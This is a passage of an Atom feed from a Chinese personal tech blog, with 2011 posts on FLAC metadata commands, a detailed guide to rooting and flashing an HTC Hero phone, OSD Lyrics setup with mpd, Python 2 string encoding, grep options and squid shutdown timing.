</ul>]]></content>
    </entry>
    <entry>
        <title>无损音频分轨与格式转换</title>
        <link href="http://blog.cykerway.com/post/365" />
        <id>http://blog.cykerway.com/post/365</id>
        <updated>2011-07-09T22:04:32Z</updated>
        <content type="html"><![CDATA[<p>这个博客挺好的，里面有很多这样的东西。各种音频标签格式什么的烦死了。有FLAC和VORBIS_COMMENT不就够了么。搞那么多也没用，过时的东西赶快扔。整轨分轨什么的基本还都是CUE，有时间写个脚本统统处理一下。暂时先这样。</p>

<p>无损音频格式文件的分轨与格式转换：<a href="http://checko.soup.io/post/42352988/">http://checko.soup.io/post/42352988/</a></p>

<p>Frequently used FLAC metadata blocks:</p>

<ul>
    <li>STREAMINFO</li>
    <li>APPLICATION</li>
    <li>PADDING</li>
    <li>SEEKTABLE</li>
    <li>VORBIS_COMMENT</li>
    <li>CUESHEET</li>
    <li>PICTURE</li>
</ul>

<p>With these knowledge, commands and outputs of metaflac can be understood. Here are the options:</p>


<pre class="brush:bash">
# view VORBIS_COMMENT
metaflac --export-tags-to=- test.flac

# Output
TITLE=序曲
Album=I&apos;m Sara
Artist=Sara
Genre=Pop
DATE=2008
TRACKNUMBER=01

# export VORBIS_COMMENT
metaflac --export-tags-to=test.vorbis test.flac
metaflac --export-tags-to=- test.flac &gt; test.vorbis

# remove all VORBIS_COMMENT
metaflac --remove-all-tags test.flac

# import VORBIS_COMMENT
metaflac --import-tags-from=test.tags test.flac                     # format is as Output above, and repeated labels are not merged

# remove specific VORBIS_COMMENT
metaflac --remove-tag=title test.flac                               # remove all title tag
metaflac --remove-first-tag=title test.flac                         # remove the first title tag

# add specific VORBIS_COMMENT
metaflac --set-tag=&apos;title=Sara Is Nice&apos; test.flac                   # add title=Sara Is Nice
metaflac --set-tag-from-file=&apos;CUESHEET=image.cue&apos; test.flac         # add CUESHEET=&lt;content of image.cue&gt;

# list all metadata blocks
metaflac --list test.flac

# export PICTURE
metaflac --export-picture-to=test.jpg test.flac                     # export the first PICTURE
metaflac --block-number=3 --export-picture-to=test.jpg test.flac    # export PICTURE with block number 3

# import PICTURE
metaflac --import-picture-from=test.jpg test.flac                   # can use SPECIFICATION instead of FILENAME
</pre>

<p>Links:</p>

<ul>
    <li><a href="http://flac.sourceforge.net/format.html">http://flac.sourceforge.net/format.html</a></li>
    <li><a href="http://xiph.org/vorbis/doc/v-comment.html">http://xiph.org/vorbis/doc/v-comment.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>HTC Hero刷机指南</title>
        <link href="http://blog.cykerway.com/post/364" />
        <id>http://blog.cykerway.com/post/364</id>
        <updated>2011-07-07T04:36:55Z</updated>
        <content type="html"><![CDATA[<p>这几天又把手机鼓捣了一下，从Android 2.1升级到Android 2.3，事实证明HTC Hero GSM跑2.3也是没什么问题的。</p>

<p>起因是之前的手机卡得很，经常只有30几M的可用内存。因为没装太多软件，不知道是不是Sense UI什么的占去了。不过Hero不是有288M的RAM么，怎么沦落到只有30几M的地步呢？其实，给Android系统用的才198M：</p>

<p><a href="http://android.modaco.com/index.php?s=&showtopic=295688&view=findpost&p=1110783">http://android.modaco.com/index.php?s=&amp;showtopic=295688&amp;view=findpost&amp;p=1110783</a></p>

<p>这个可以在adb shell里用</p>

<pre class="brush:bash">
# dmesg | grep Memory
&lt;4&gt;[    0.000000] Memory policy: ECC disabled, Data cache writeback
&lt;6&gt;[    0.019927] Memory: 198MB = 198MB total
&lt;5&gt;[    0.019958] Memory: 194944KB available (4144K code, 1233K data, 132K init)

# cat /proc/iomem
00000000-006fffff : smi
00700000-0079afff : msm_panel.1
007a0000-007bffff : ram_console
19200000-257fffff : System RAM
  19229000-19634fff : Kernel text
  19636000-1976a56b : Kernel data
25800000-25ffffff : ebi
a0000000-a00fffff : regs
a0200000-a0200fff : msm_serial_hs.0
a0400000-a0400fff : msm_sdcc.1
a0500000-a0500fff : msm_sdcc.2
a0800000-a0801000 : msm_hsusb
a9900000-a9900fff : msm_i2c.0
  a9900000-a9900fff : msm_i2c
a9c00000-a9c00fff : msm_serial.2
  a9c00000-a9c00fff : msm_serial
aa200000-aa2effff : mdp
aa600000-aa600fff : msm_mddi.0
</pre>

<p>验证。System RAM那一块就是映射到系统内存中的地址。再除去内核占用的部分，也就190M的样子：</p>

<pre class="brush:bash">
# free
              total         used         free       shared      buffers
  Mem:       195524       187804         7720            0         5688
 Swap:            0            0            0
Total:       195524       187804         7720

# cat /proc/meminfo
MemTotal:         195524 kB
MemFree:            5792 kB
Buffers:            5688 kB
Cached:            52260 kB
SwapCached:            0 kB
Active:            75444 kB
Inactive:          94848 kB
Active(anon):      48496 kB
Inactive(anon):    64504 kB
Active(file):      26948 kB
Inactive(file):    30344 kB
Unevictable:         276 kB
Mlocked:               0 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                 0 kB
Writeback:             0 kB
AnonPages:        112640 kB
Mapped:            23232 kB
Slab:               7456 kB
SReclaimable:       2788 kB
SUnreclaim:         4668 kB
PageTables:         6688 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:       97760 kB
Committed_AS:    1101240 kB
VmallocTotal:     712704 kB
VmallocUsed:       70872 kB
VmallocChunk:     605188 kB
</pre>

<p>所以么，标称288M RAM，最后能用的只有190M左右，再把一些系统自带的软件占用的内存去掉，剩下几十M也还算正常，但30M毕竟还是少了点。所以就想重装一下换个自带垃圾少一些的新ROM了。</p>

<p>Note. 没有想明白free/meminfo中的total为什么会比dmesg里的available memory还少。另外，没发现怎么验证机身内存确实是288M。</p>

<p>重装之前当然要熟悉一下名词：SPL/fastboot/recovery/ROM/root/radio/hboot什么的起码要知道吧。扫盲帖：</p>

<p>Glossary of Android Terms</p>
<p><a href="http://www.villainrom.co.uk/vBwiki/index.php/Glossary_of_Android_Terms#CID">http://www.villainrom.co.uk/vBwiki/index.php/Glossary_of_Android_Terms#CID</a></p>

<p>Android手机扫盲：什么是hboot、radio、recovery、fastboot？</p>
<p><a href="http://www.3haow.com/2android-mobile/201106/670.html">http://www.3haow.com/2android-mobile/201106/670.html</a></p>

<p>看完扫盲帖可能还是一头雾水，我根据个人理解再解释一下（均以HTC Hero GSM非定制版本为例）。事先声明，由于本人很弱，按照本文进行操作导致出错、变砖等任何后果本人概不负责。</p>

<p>首先一个设备要有CPU/RAM/ROM。CPU和RAM可以类比PC的CPU和内存，ROM可以类比PC的硬盘。Hero的ROM应该是一片NAND Flash。CPU方面，Hero采用的是Qualcomm的MSM7200A处理器，有两个核心，一个是ARM11系列，用于Android系统，一个是ARM9系列，用于通讯功能。看这个介绍（下文的神帖就是指它）：</p>

<p><a href="http://forum.xda-developers.com/showthread.php?t=559806">http://forum.xda-developers.com/showthread.php?t=559806</a></p>

<p>这个介绍里提到，ARM9先运行自己的bootloader，设置radio和security，再启动ARM11。ARM11运行自己的bootloader，提供fastboot等功能。当然，正常情况下bootloader会boot内核，要进入fastboot模式需要按住返回键开机。</p>

<p>bootloader在上面的扫盲帖里已经提到过了。那么bootloader/SPL/hboot有什么区别呢？SPL全称Secondary Program Loader，对应地，有一个Initial Program Loader(IPL)。这个帖子讲了它们是干什么的：</p>

<p><a href="http://forum.xda-developers.com/showpost.php?p=995729&postcount=2">http://forum.xda-developers.com/showpost.php?p=995729&amp;postcount=2</a></p>

<p>为什么要搞两次呢？这要从闪存(Flash)的结构说起。目前的闪存主要分两种：NAND Flash和NOR Flash。详细的比较见：</p>

<p><a href="http://daimajishu.iteye.com/blog/1087717">http://daimajishu.iteye.com/blog/1087717</a></p>

<p>一个显著的区别是NOR Flash支持XIP，即存储在NOR Flash中的指令可以被直接执行。相反地，存储在NAND Flash中的指令不能被直接执行，一般要先装载到RAM中再执行。众所周知，CPU上电后会从一个固定的地址(reset vector)开始执行指令。由上面的分析知，这个地址一定指向NOR Flash而不是NAND Flash。所以IPL一定要写在NOR Flash中。而NAND Flash具有比NOR Flash成本更低等优势，所以能写在NAND Flash中的代码就尽量写在NAND Flash中，例如SPL。那么整个流程就是：CPU上电 -&gt; 执行NOR Flash中的IPL -&gt; IPL把SPL从NAND Flash装入RAM，跳转到RAM中的SPL入口 -&gt; SPL继续执行。</p>

<p>当然，厂家可以在板子上固化一片NOR Flash的BOOTROM，在CPU上电后先执行BOOTROM里的指令。这些指令把外挂的NAND Flash中的指令装载到RAM，然后切到新装载的指令的入口。这种情况下IPL写在NAND Flash中也是可以的。不过这时谈论IPL/SPL的区别貌似就没什么意义了。</p>

<p>总之IPL/SPL放在一起就是一个bootloader，处理从CPU上电到OS kernel作用之前的routine，相当于PC的BIOS+grub。在网上还真没看到多少关于讨论Android上IPL/SPL的区别（上面那个讲IPL/SPL区别的帖子是WM机型讨论区里的），貌似大家都默认SPL = bootloader了，也就是刷机时并不是很关心IPL。</p>

<p>那么hboot是什么呢？hboot就是HTC官方的bootloader，也包括在官方版本基础上的修改版本。所以，从现在开始：SPL = bootloader = hboot。刷机的时候认为它们都一样就行了。</p>

<p>还有一个重要的问题是，SPL存储在什么地方呢？显然不可能是RAM，那就只能是ROM了。但一般情况下看不到ROM上SPL那一块的内容。实在想看的话：</p>

<p><a href="http://forum.xda-developers.com/showthread.php?t=569460">http://forum.xda-developers.com/showthread.php?t=569460</a></p>
<p><a href="http://forum.xda-developers.com/showthread.php?t=542688">http://forum.xda-developers.com/showthread.php?t=542688</a></p>

<p>然后来讲fastboot。fastboot就是经由SPL进入的一个工程模式，进入方法是按住返回键或VOLDOWN键开机。如果fastboot模式下手机和PC用USB连起来了，就是fastboot-USB模式（以下不作区分），这些在手机上都会有显示。PC上用fastboot命令来配合使用。Arch下可以用</p>

<pre class="brush:bash">
$ yaourt fastboot
</pre>

<p>来安装，其他OS可以自行Google。fastboot模式下可以直接刷机身内部Flash（即ROM）的内容，也可以boot指定的kernel/recovery。更多关于fastboot，参见：</p>

<p><a href="http://wiki.cyanogenmod.com/wiki/Fastboot">http://wiki.cyanogenmod.com/wiki/Fastboot</a></p>

<p>然后什么是recovery呢？定制版Windows XP启动的时候除了Windows XP主选项还有一个“一键还原XXX”之类的都还记得吧？recovery就是这种玩意儿，看成一个小OS也行。用官方的套件更新时也会更新recovery。但官方的recovery功能有限，一般都从下面两个定制版的recovery选一个用：</p>

<p>Amon_Ra&apos;s Recovery</p>
<p>ClockworkMod Recovery</p>

<p>地址会在刷ROM的时候给出。所以，recovery是一个比SPL/fastboot更上层，和OS平级的玩意儿。</p>

<p>然后来讲ROM。认真看扫盲帖的童鞋都知道ROM有两个含义，一个是机身内部的Flash，一个是指打包好的OS。我们说刷ROM其实刷的就是OS，就是把一个别人打包好的OS刷写到机身内部的flash上去。</p>

<p>说来说去刷机有这么几个东西要刷：ROM/recovery/SPL/radio（越后面的越底层，刷起来越危险）。一般只刷ROM和recovery就够了，所以先讲讲这两个东西怎么弄。</p>

<p>Linux上想稍微干点大事都得有root，所以必须先拿root。方法见我之前的一个帖子：</p>

<p><a href="http://blog.cykerway.com/post/61">http://blog.cykerway.com/post/61</a></p>

<p>基本原理就是进fastboot模式boot一个定制版的recovery，然后往/system/bin目录下push一个su（su大家都认得吧），往/system/app目录下push一个Superuser.apk（root权限授权工具，防止恶意程序滥用root权限）。就这么简单。</p>

<p>有了root就可以刷ROM了。推荐CyanogenMod 7，基于Android 2.3。照着这个教程：</p>

<p><a href="http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide">http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide</a></p>

<p>把Installing a Custom Recovery Image和Flashing CyanogenMod部分做完就可以了（radio放到后面说），顺带还把recovery也刷了。不过我没有用教程里指定的CM6.1，而是直接刷了CM7的nightly build，目前工作良好。下载地址为：</p>

<p><a href="http://download.cyanogenmod.com/get/cm_hero_full-114.zip">http://download.cyanogenmod.com/get/cm_hero_full-114.zip</a></p>

<p>这个ROM是已经root过的，不需要再拿root了。所有nightly build的列表：</p>

<p><a href="http://download.cyanogenmod.com/?type=nightly&device=hero">http://download.cyanogenmod.com/?type=nightly&amp;device=hero</a></p>

<p>在刷SPL和radio之前还得再知道点。特别的，得知道每个分区都是干啥的。进adb shell查看分区说明：</p>

<pre class="brush:bash">
# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00040000 00020000 &quot;misc&quot;
mtd1: 00500000 00020000 &quot;recovery&quot;
mtd2: 00280000 00020000 &quot;boot&quot;
mtd3: 0aa00000 00020000 &quot;system&quot;
mtd4: 08200000 00020000 &quot;cache&quot;
mtd5: 0a5c0000 00020000 &quot;userdata&quot;

# echo 以下命令输出略
# ls -l /dev/mtd
# ls -l /dev/block
# mount
</pre>

<p>每个分区的功能见：</p>

<p><a href="http://www.androidcn.com/news/20100617/00000086.html">http://www.androidcn.com/news/20100617/00000086.html</a></p>

<p>这个链接说得不完全准确。boot分区其实放的是kernel和ramdisk，system分区放的是OS除了kernel的其他部分。通常说刷ROM就是刷这两个分区。data分区是用户数据和用户应用程序，进/data/app下看看就明白了。cache不只是OTA的缓存，而是各种缓存，最明显的有个dalvik-cache。还记得刷ROM时有一步wipe么？就是把这两个分区清了。虽然radio和spl也在Flash里，但是默认没有列出（没有对应于Flash相应区域的mtd device）。</p>

<p>现在说刷radio和SPL。为什么要刷radio呢？为了改善通讯质量。为什么要刷SPL呢？这原因就多了。首先进fastboot模式看看第一行最后是S-ON还是S-OFF。如果是S-OFF，恭喜你不用刷了。如果是S-ON，比如我更新前的SPL信息如下：</p>

<pre class="brush:bash">
HERO CVT SHIP S-ON
HBOOT-1.76.0004 (HERO10000)
MICROP-010f
TOUCH PANEL-SYN0104
RADIO-6.35.17.03
Jul  3 2009, 15:22:21

FASTBOOT USB

&lt;VOL DOWN&gt; Hboot Mode
&lt;MENU&gt; Reset Device
</pre>

<p>试试如下命令：</p>

<pre class="brush:bash">
$ sudo fastboot flash recovery ./recovery-RA-hero-v1.7.0.1.img
sending &apos;recovery&apos; (3972 KB)... OKAY
writing &apos;recovery&apos;... INFOsignature checking...
FAILED (remote: signature verify fail)

$ sudo fastboot flash system ./cm_hero_full-114.zip
sending &apos;system&apos; (79676 KB)... OKAY
writing &apos;system&apos;... INFOsignature checking...
FAILED (remote: signature verify fail)

$ sudo fastboot boot ./recovery-RA-hero-v1.7.0.1.img
downloading &apos;boot.img&apos;... OKAY
booting... OKAY
</pre>

<p>也就是说fastboot下虽然可以boot但是不可以flash无官方签名的包，那就不能用fastboot刷任何定制的东西了。而且，有些S-ON的SPL（完美SPL）连boot都不能，试想有一天你的ROM和recovery都坏掉了，呵呵，找RUU吧。我先贴在这儿好了，没准真的有人会用到呢：</p>

<p><a href="http://forum.xda-developers.com/showthread.php?t=559622">http://forum.xda-developers.com/showthread.php?t=559622</a></p>

<p>不过不到万一不推荐刷RUU，尤其是没有漏洞的RUU，原因文章最后说。</p>

<p>其次，S-ON的SPL会检查手机的CID。关于什么是CID：</p>

<p><a href="http://android.zone.it.sohu.com/forums/thread-5661150-1-1.html">http://android.zone.it.sohu.com/forums/thread-5661150-1-1.html</a></p>

<p>也就是说刷RUU都要找匹配的版本。</p>

<p>更详细的，看这篇文章：</p>

<p><a href="http://www.addictivetips.com/mobile/what-is-s-off-how-to-gain-it-on-htc-android-phones-with-unrevoked-forever/">http://www.addictivetips.com/mobile/what-is-s-off-how-to-gain-it-on-htc-android-phones-with-unrevoked-forever/</a></p>

<p>里面提到一个security flag在radio里，而radio又没有被expose，所以改这个flag是很困难的，CID同理。还记得最开始那个用串口+USB改security和CID的那个神帖么，现在知道他在做什么了吧。另外还有一种方法叫白卡，可以把SHIP S-ON的SPL刷成SHIP S-OFF。关于白卡，参见：</p>

<p><a href="http://android.baike.com/article-7050.html">http://android.baike.com/article-7050.html</a></p>

<p>更为详细的SPL解锁原理：</p>

<p><a href="http://www.dfhome.com/leadbbs/a/a.asp?B=160&id=11834">http://www.dfhome.com/leadbbs/a/a.asp?B=160&amp;id=11834</a></p>

<p>看完这个，应该对白卡解（硬解）、软解、串口解（神级别硬解）的原理有所了解了。</p>

<p>这个帖子的5楼讲了刷SPL的几种方法，建议看，因为无论刷什么基本都是这些方法：</p>

<p><a href="http://bbs.gfan.com/thread-50434-1-1.html">http://bbs.gfan.com/thread-50434-1-1.html</a></p>

<p>然后最重要的，讲radio与SPL的搭配，必须要看，小心变砖！为什么用不兼容的radio和SPL会变砖？回想神帖中整个手机的启动过程，ARM9启动自己的bootloader，设置radio，然后boot ARM11，ARM11启动自己的bootloader，这不就是SPL么。如果radio和SPL不兼容导致SPL无法启动，或者radio/SPL本身出了什么问题，就是传说中的bricked。幸好已经有人公布了可行的搭配，并且还公布了什么样的SPL可以刷，什么样的SPL不能刷：</p>

<p><a href="http://err99.in/archives/265">http://err99.in/archives/265</a></p>
<p><a href="http://blog.csdn.net/qiuyu0619/article/details/5976270">http://blog.csdn.net/qiuyu0619/article/details/5976270</a></p>
<p><a href="http://flox.in/g2-brush-radio-tutorial/">http://flox.in/g2-brush-radio-tutorial/</a></p>

<p>如果真的认真看了上面关于SPL的所有文章，现在应该知道完全破解的ENG S-OFF的SPL就是要刷的目标，而完美SPL是要被拉上黑名单的。完美在刷机的时候就是说没法破解。</p>

<p>我当一次小白鼠，把自己用的radio+SPL组合公布一下吧。radio是CyanogenMod Wiki里HTC Hero GSM页面里的，SPL是MoDaCo上Paul公布的。页面地址如下：</p>

<p><a href="http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide">http://wiki.cyanogenmod.com/wiki/HTC_Hero_(GSM):_Full_Update_Guide</a></p>
<p><a href="http://android.modaco.com/content/htc-hero-hero-modaco-com/296389/24-nov-unlocked-spl-for-gsm-hero/">http://android.modaco.com/content/htc-hero-hero-modaco-com/296389/24-nov-unlocked-spl-for-gsm-hero/</a></p>

<p>下载地址如下：</p>

<p><a href="http://android.d3xt3r01.tk/cyanogen/hero/radios/hero.6.35.17.03.zip">http://android.d3xt3r01.tk/cyanogen/hero/radios/hero.6.35.17.03.zip</a></p>
<p><a href="http://content.modaco.net/hero/update-hero-hboot-1.76.2007-signed.zip">http://content.modaco.net/hero/update-hero-hboot-1.76.2007-signed.zip</a></p>

<p>经过实验一起刷或者先刷radio都没有什么问题。当然这和原来的radio/SPL有关系，建议一起刷。用recovery刷即可，方法都是一样的。</p>

<p>更新后SPL信息如下：</p>

<pre class="brush:bash">
HERO CVT ENG S-OFF
HBOOT-1.76.2007 (HERO10000)
MICROP-010f
TOUCH PANEL-SYN0104
RADIO-6.35.17.03
Aug 21 2009, 18:19:15

FASTBOOT USB

&lt;VOL DOWN&gt; Hboot Mode
&lt;MENU&gt; Reset Device
</pre>

<p>测试一下fastboot，发现可以flash无官方签名的包了，当然也可以boot：</p>

<pre class="brush:bash">
$ sudo fastboot flash recovery ./recovery-RA-hero-v1.7.0.1.img 
sending &apos;recovery&apos; (3972 KB)... OKAY
writing &apos;recovery&apos;... OKAY

$ sudo fastboot flash recovery ./recovery-clockwork-2.5.0.7-hero.img 
sending &apos;recovery&apos; (2428 KB)... OKAY
writing &apos;recovery&apos;... OKAY

$ sudo fastboot flash system ./cm_hero_full-114.zip
sending &apos;system&apos; (79676 KB)... OKAY
writing &apos;system&apos;... OKAY

$ sudo fastboot boot ./recovery-RA-hero-v1.7.0.1.img 
downloading &apos;boot.img&apos;... OKAY
booting... OKAY
</pre>

<p>刷了SPL就可以更换开机画面了。方法见：</p>

<p><a href="http://android.modaco.com/content/software/289543/replace-the-initial-splash-on-your-device-with-a-modaco-logo/">http://android.modaco.com/content/software/289543/replace-the-initial-splash-on-your-device-with-a-modaco-logo/</a></p>

<p>不过Paul大神已经做好了rgb565文件。如果想换别的图片，只需要自己做一个rgb565即可。教程在这儿：</p>

<p><a href="http://android-dls.com/wiki/index.php?title=Creating_Splashboot_Images">http://android-dls.com/wiki/index.php?title=Creating_Splashboot_Images</a></p>

<p>Hero的屏幕和G1一样，都是320x480，所以文件大小也都应该一样。里面用到的rgb2565的源代码在这里：</p>

<p><a href="http://android.git.kernel.org/?p=platform/build.git;a=blob;f=tools/rgb2565/to565.c">http://android.git.kernel.org/?p=platform/build.git;a=blob;f=tools/rgb2565/to565.c</a></p>

<p>无任何库依赖，直接编译即可。</p>

<p>最后附更新前后的配置信息：</p>

<pre class="brush:bash">
-------------------------
更新前
-------------------------

Firmware version
2.1-update1

Baseband version
63.18.55.06OU_6.35.15.01

Kernel version
2.6.29-5f74b252
htc-kernel@and18-2 #1

Build number
3.31.751.1 CL183682 release-keys

Software number
3.31.751.1

-------------------------
更新后
-------------------------

Android version
2.3.4

Baseband version
63.18.55.06SU_6.35.17.03

Kernel version
2.6.29.6-flykernel-12a
elelinux@elelinux-computer #34

Mod version
CyanogenMod-7-07042011-NIGHTLY-Hero

Build number
GRJ22
</pre>

<p>总结一下：</p>

<ol>

    <li><p>所有的破解都依赖于官方系统的漏洞，无论来自于SPL/recovery/OS。所以，想用定制版的一个前提就是不要用RUU更新，也不要OTA，官方版本越旧就越容易破解。</p></li>

    <li><p>所有的破解方法都大同小异，不外乎下面几种：</p>

    <ol>

        <li><p>S-OFF的SPL可以直接用fastboot flash写入。</p></li>

        <li><p>S-ON但允许boot未签名包的SPL可以fastboot boot custom-recovery.img再从recovery写入。</p></li>

        <li><p>已经有定制recovery的可以从recovery写入。</p></li>

        <li><p>已经有root的可以用flash_image写入。</p></li>

    </ol>

    <p>当然，用串口的神谁也阻挡不了。</p></li>

    <li><p>刷ROM和recovery基本是安全的，不会变砖。但也有不能继续使用定制版的风险。例如SPL是完美SPL而ROM和recovery都刷坏了。</p></li>

    <li><p>刷radio和SPL要小心，失败可能导致变砖。建议用别人尝试过的组合。</p></li>

    <li><p>最好刷已经root过的ROM。</p></li>

</ol>

<p>Note. 如果文中什么地方解释有误敬请指出。</p>

<p><a href="http://blog.cykerway.com/uploads/20110710/toolkit.tar.bz2">全套刷机包下载</a></p>]]></content>
    </entry>
    <entry>
        <title>OSD Lyrics</title>
        <link href="http://blog.cykerway.com/post/363" />
        <id>http://blog.cykerway.com/post/363</id>
        <updated>2011-07-02T21:53:29Z</updated>
        <content type="html"><![CDATA[<p>著名歌词插件，一年多前就知道这个东西了，可惜太笨了一直都没有安装成功……哦现在终于用上了……</p>

<p>不过在Arch下给mpd配这个东西还是有一点周折的。先要安装libmpd这个依赖。然后安装osd-lyrics-git（AUR里的其他两个版本同理）的时候注意PKGBUILD里面mpd的选项是关闭的，要手动改一下。这里不改的话到后面找不到播放器还不知道哪里错了……</p>

<p>改了这个还不够，mpd的监听host和port还需要配置一下。建议设置成localhost和6600即可。注意最好写成localhost而不是127.0.0.1，因为OSD Lyrics的源程序是这样写的：</p>

<pre class="brush:c">
// ol_player_mpd.c

static const char *DEFAULT_HOSTNAME = &quot;localhost&quot;;
static const int DEFAULT_PORT = 6600;

// ...

static gboolean
ol_player_mpd_init ()
{
  hostname = g_strdup (getenv (&quot;MPD_HOST&quot;));
  if (hostname == NULL)
    hostname = g_strdup (DEFAULT_HOSTNAME);
  char *portenv = getenv (&quot;MPD_PORT&quot;);
  if (portenv == NULL)
    port = DEFAULT_PORT;
  else
    port = atoi (portenv);
  mpd = mpd_new (hostname, port, NULL);
  if (mpd == NULL)
  {
    ol_error (&quot;Create MPD Object failed&quot;);
    return FALSE;
  }
  mpd_set_connection_timeout (mpd, 0.1);
  /* TODO: connect signals here */
  return TRUE;
}
</pre>

<p>也就是说它会去连localhost。如果设置成127.0.0.1就可能会连不上了。咦，mpd的协议里好像没有区分localhost和127.0.0.1吧，再说主机名又没有发过去，localhost和127.0.0.1有什么区别呢？为什么设置成localhost可以连设置成127.0.0.1就不行呢？</p>

<p><a href="/uploads/20110702/osd-lyrics.png"><img src="/uploads/20110702/osd-lyrics.png" alt="osd-lyrics.png" /></a></p>

<p>::1</p>]]></content>
    </entry>
    <entry>
        <title>Python之str与unicode</title>
        <link href="http://blog.cykerway.com/post/362" />
        <id>http://blog.cykerway.com/post/362</id>
        <updated>2011-07-02T16:38:42Z</updated>
        <content type="html"><![CDATA[<p>str和unicode是python2的老话题了。我这个从3学到2的人还真不太适应，今天补习了一下，发现说法还真多。</p>

<p>首先str和unicode的区别是什么呢？str相当于单byte数组，而unicode存的是UCS-2或UCS-4。可以敲一下</p>

<pre class="brush:python">
&gt;&gt;&gt; sys.maxunicode
</pre>

<p>如果是65535(0xffff)就是UCS-2，如果是1114111(0x10ffff)就是UCS-4。</p>

<p>然后其实可以把str看成编码过的信息，把unicode看成抽象的未经编码的文本信息（虽然其实是UCS-2/UCS-4）。</p>

<p>这么看的话unicode的encode和str的decode就说得通了。unicode的encode就是把抽象的文本编码一下，变成具体的，str的decode正好反过来。下面的实验证实了这一点：</p>

<pre class="brush:python">
&gt;&gt;&gt; a = &apos;你好&apos;
&gt;&gt;&gt; b = u&apos;你好&apos;

&gt;&gt;&gt; a
&apos;\xe4\xbd\xa0\xe5\xa5\xbd&apos;
&gt;&gt;&gt; b
u&apos;\u4f60\u597d&apos;

&gt;&gt;&gt; b.encode(&apos;UTF-8&apos;)
&apos;\xe4\xbd\xa0\xe5\xa5\xbd&apos;
&gt;&gt;&gt; a.decode(&apos;UTF-8&apos;)
u&apos;\u4f60\u597d&apos;
</pre>

<p>很通顺是吧。然后现在我告诉你unicode还可以decode，str还可以encode你作何感想？试一下：</p>

<pre class="brush:python">
&gt;&gt;&gt; b.decode(&apos;UTF-8&apos;)
Traceback (most recent call last):
  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;
  File &quot;/usr/lib/python2.7/encodings/utf_8.py&quot;, line 16, in decode
    return codecs.utf_8_decode(input, errors, True)
UnicodeEncodeError: &apos;ascii&apos; codec can&apos;t encode characters in position 0-1: ordinal not in range(128)

&gt;&gt;&gt; a.encode(&apos;UTF-8&apos;)
Traceback (most recent call last):
  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;
UnicodeDecodeError: &apos;ascii&apos; codec can&apos;t decode byte 0xe4 in position 0: ordinal not in range(128)
</pre>

<p>大侠，为什么我decode却出现了UnicodeEncodeError，encode却出现了UnicodeDecodeError？</p>

<p>先说后面那个。a.encode()相当于unicode(a).encode()。调用unicode构造函数时没有指定编码，所以采用默认编码。python2.x的默认编码是ascii。不信敲个sys.getdefaultencoding()看看。然后就不用说了吧。b.decode()那个是一样的，就是反过来了。</p>

<p>至于允许这么做有用没用，反正python3里已经没有这些玩意儿了，有用没用好像还是挺明显的。总之，就老老实实地在str上调用decode，在unicode上调用encode吧。</p>

<p>这里插一个ipython的bug，差点让我误入歧途。在ipython里输入</p>

<pre class="brush:python">
In [1]: b = u&apos;你好&apos;
</pre>

<p>得到的是</p>

<pre class="brush:python">
In [2]: b
Out[2]: u&apos;\xe4\xbd\xa0\xe5\xa5\xbd&apos;
</pre>

<p>真囧。</p>

<p>最后顺带展望一下python3的美好。没有神马unicode了，没有默认ascii这回事了，新的组合叫str/bytes。默认编码UTF-8，而且str默认就支持unicode字符，而bytes就是一个纯字节数组。这样区分就很明显了，要表示抽象的字符串，就用str；要表示编码过的字符串，就用bytes。str只能encode，bytes只能decode，没有那么多乱糟糟的事了。</p>

<p>Links:</p>

<ul>
    <li><a href="http://blog.csdn.net/ktb2007/article/details/3876436">http://blog.csdn.net/ktb2007/article/details/3876436</a></li>
    <li><a href="http://blog.csdn.net/ktb2007/article/details/3876429">http://blog.csdn.net/ktb2007/article/details/3876429</a></li>
    <li><a href="http://stackoverflow.com/questions/1838170/what-is-internal-representation-of-string-in-python-3-x">http://stackoverflow.com/questions/1838170/what-is-internal-representation-of-string-in-python-3-x</a></li>
    <li><a href="http://www.cnblogs.com/sislcb/archive/2008/11/26/1341453.html">http://www.cnblogs.com/sislcb/archive/2008/11/26/1341453.html</a></li>
    <li><a href="http://hi.baidu.com/%C9%C1%D3%B0mecow/blog/item/43f2b6f27886cadb0b46e03f.html">http://hi.baidu.com/%C9%C1%D3%B0mecow/blog/item/43f2b6f27886cadb0b46e03f.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>grep基本用法</title>
        <link href="http://blog.cykerway.com/post/361" />
        <id>http://blog.cykerway.com/post/361</id>
        <updated>2011-06-28T14:52:24Z</updated>
        <content type="html"><![CDATA[<pre class="brush:bash">
grep [OPTIONS] PATTERN [FILE]   # if FILE not present or is -, read from stdin

# basic options

-r              # recursive
-i              # ignore-case
-v              # invert-match
-H              # filename
-n              # line number
-c              # match count
-A &lt;NUM&gt;        # &lt;NUM&gt; lines after match
-B &lt;NUM&gt;        # &lt;NUM&gt; lines before match
-C &lt;NUM&gt;        # &lt;NUM&gt; lines before and after match, resp.

# examples

# find which files contain &apos;int&apos;
grep int *

# the same with filename and line number
grep -Hn int *

</pre>]]></content>
    </entry>
    <entry>
        <title>快速关闭squid</title>
        <link href="http://blog.cykerway.com/post/360" />
        <id>http://blog.cykerway.com/post/360</id>
        <updated>2011-06-28T11:47:44Z</updated>
        <content type="html"><![CDATA[<p>Arch下面这个/etc/rc.d/squid每次关闭都要等好长时间。看了一看脚本是在等待进程退出。为什么下达了shutdown命令还要等那么久呢？squid.conf中有这么一段：</p>

<pre class="brush:bash">
#  TAG: shutdown_lifetime	time-units
#	When SIGTERM or SIGHUP is received, the cache is put into
#	&quot;shutdown pending&quot; mode until all active sockets are closed.
#	This value is the lifetime to set for all open descriptors
#	during shutdown mode.  Any active clients after this many
#	seconds will receive a &apos;timeout&apos; message.
#Default:
# shutdown_lifetime 30 seconds
</pre>

<p>把30秒改成3秒，完毕。</p>]]></content>
    </entry>
    <entry>
        <title>httptunnel</title>
        <link href="http://blog.cykerway.com/post/359" />
        <id>http://blog.cykerway.com/post/359</id>
